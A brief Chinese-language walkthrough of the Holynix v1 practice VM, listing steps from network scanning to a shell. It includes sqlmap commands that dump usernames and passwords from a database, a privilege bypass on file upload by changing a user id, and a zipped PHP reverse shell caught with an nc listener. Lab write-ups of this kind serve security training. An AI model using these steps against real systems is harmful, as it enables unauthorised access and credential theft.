holynix-v1靶机

查看MAC地址

扫描不到IP，修改一下mac地址

00:0c:29:bc:05:de

修改时在关机状态下修改，修改好后打开

目录扫描

访问192.168.111.148

点击login，发现用户登录，使用弱口令测试一下，登陆不上，测试SQL

存在SQL，爆破账号密码

获取数据库名   python3 sqlmap.py -r 123.txt --current-db

获取表名   python3 sqlmap.py -r 123.txt -D creds --tables

获取表中字段   python3 sqlmap.py -r 123.txt -D creds -T accounts --columns

获取账号密码
python3 sqlmap.py -r 123.txt -D creds -T accounts -C username,password --dump

登陆成功

点击Directory，发现有用户

点击Message Board，发现留言板，测试xss

点击Security，F12发现可能存在文件包含

burp抓包

通过参数text_file_name的值的改变

点击Upload 发现文件上传

上传一个php文件，不让上传

抓包，尝试水平越权，把id改为其他的，因为刚刚在username中看到很多用户

发现上传成功，并且用户也变了

但是解析不了

上传页面有个上传压缩包，自动解压

使用kali中反弹shell

vim shell.php，改为kali的IP地址

上传文件时勾选

上传后发现自动解压了

nc -lvnp 5555监听